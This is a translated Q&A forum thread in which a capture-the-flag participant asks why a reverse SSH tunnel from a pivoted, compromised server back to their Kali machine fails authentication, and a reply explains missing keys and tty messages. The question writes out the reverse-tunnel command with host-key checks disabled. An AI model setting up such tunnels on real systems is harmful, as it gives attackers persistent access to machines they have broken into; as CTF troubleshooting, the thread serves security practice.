ssh problemas de permissão de shell reversos

0

Estou participando de um Capture the Flag (CTF) e estou usando o Kali. Eu tenho acesso a um servidor (servidor 1) através de outro servidor (servidor 0) através do qual eu girei.

Agora tenho a tarefa de configurar um shell SSH reverso no Servidor 1. Estou usando o seguinte comando (conforme fornecido pelas dicas que tive de usar)

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -fN -R 8080:a.b.c.d:80 [email protected] -v

a.b.c.d é o endereço IP do servidor 1

e.f.g.h é o meu endereço IP

Rodando com -v, recebo o seguinte erro:

debug1: read_passphrase: can't open /dev/tty: No such device or address
debug1: Authentications that can continue: publickey,password
debug1: No more authentication methods to try.
Permission denied (publickey,password).

Eu não tenho ideia se isso significa que o problema está no final das coisas do Kali ou com os níveis de permissão no servidor comprometido.

Qualquer ajuda / ideias apreciadas.

    
por MariusMatutiae 20.12.2015 / 23:34

1 resposta

1

Você tem um pequeno problema e um grande problema.

O problema grande é que a autenticação é interrompida sem o método qualquer . O comando que você corrigiu juntos deve funcionar com chaves criptográficas , das quais você parece não ter nenhuma. Isso pode ser porque você esqueceu de especificar -i /path/to/keys na CLI, ou porque você está tentando autenticar como root, mas você tem as chaves como o usuário YourName (em outras palavras, as chaves estão em /home/YourName/.ssh e elas não são em /root/.ssh ), ou vice-versa , ou porque você não configurou o login sem senha para [email protected] .

O problema pequeno é indicado pela mensagem de erro

debug1: read_passphrase: can't open /dev/tty: No such device or address

que não é preocupante de forma alguma: está lhe dizendo que o túnel acima é criado sem um tty, e isso é um problema porque existe alguma mensagem de erro que não pode ser mostrada, exatamente porque não há tty. Provavelmente, a mensagem de erro é Host key verification failed , porque você especificou que o arquivo que contém as Chaves do Host Conhecidas é /dev/null , através da opção -o UserKnownHostsFile=/dev/null ; mas você também especificou -o StrictHostKeyChecking=no , então a conexão não pára aqui.

Você pode se livrar de tal mensagem de erro (provavelmente) adicionando as opções -t -t (sim, duas vezes), que alocarão um tty e exibirão a mensagem de erro (e verificarão se meu palpite está correto). Ou você pode simplesmente esquecê-lo, já que é amplamente irrelevante.

    
por 21.12.2015 / 10:01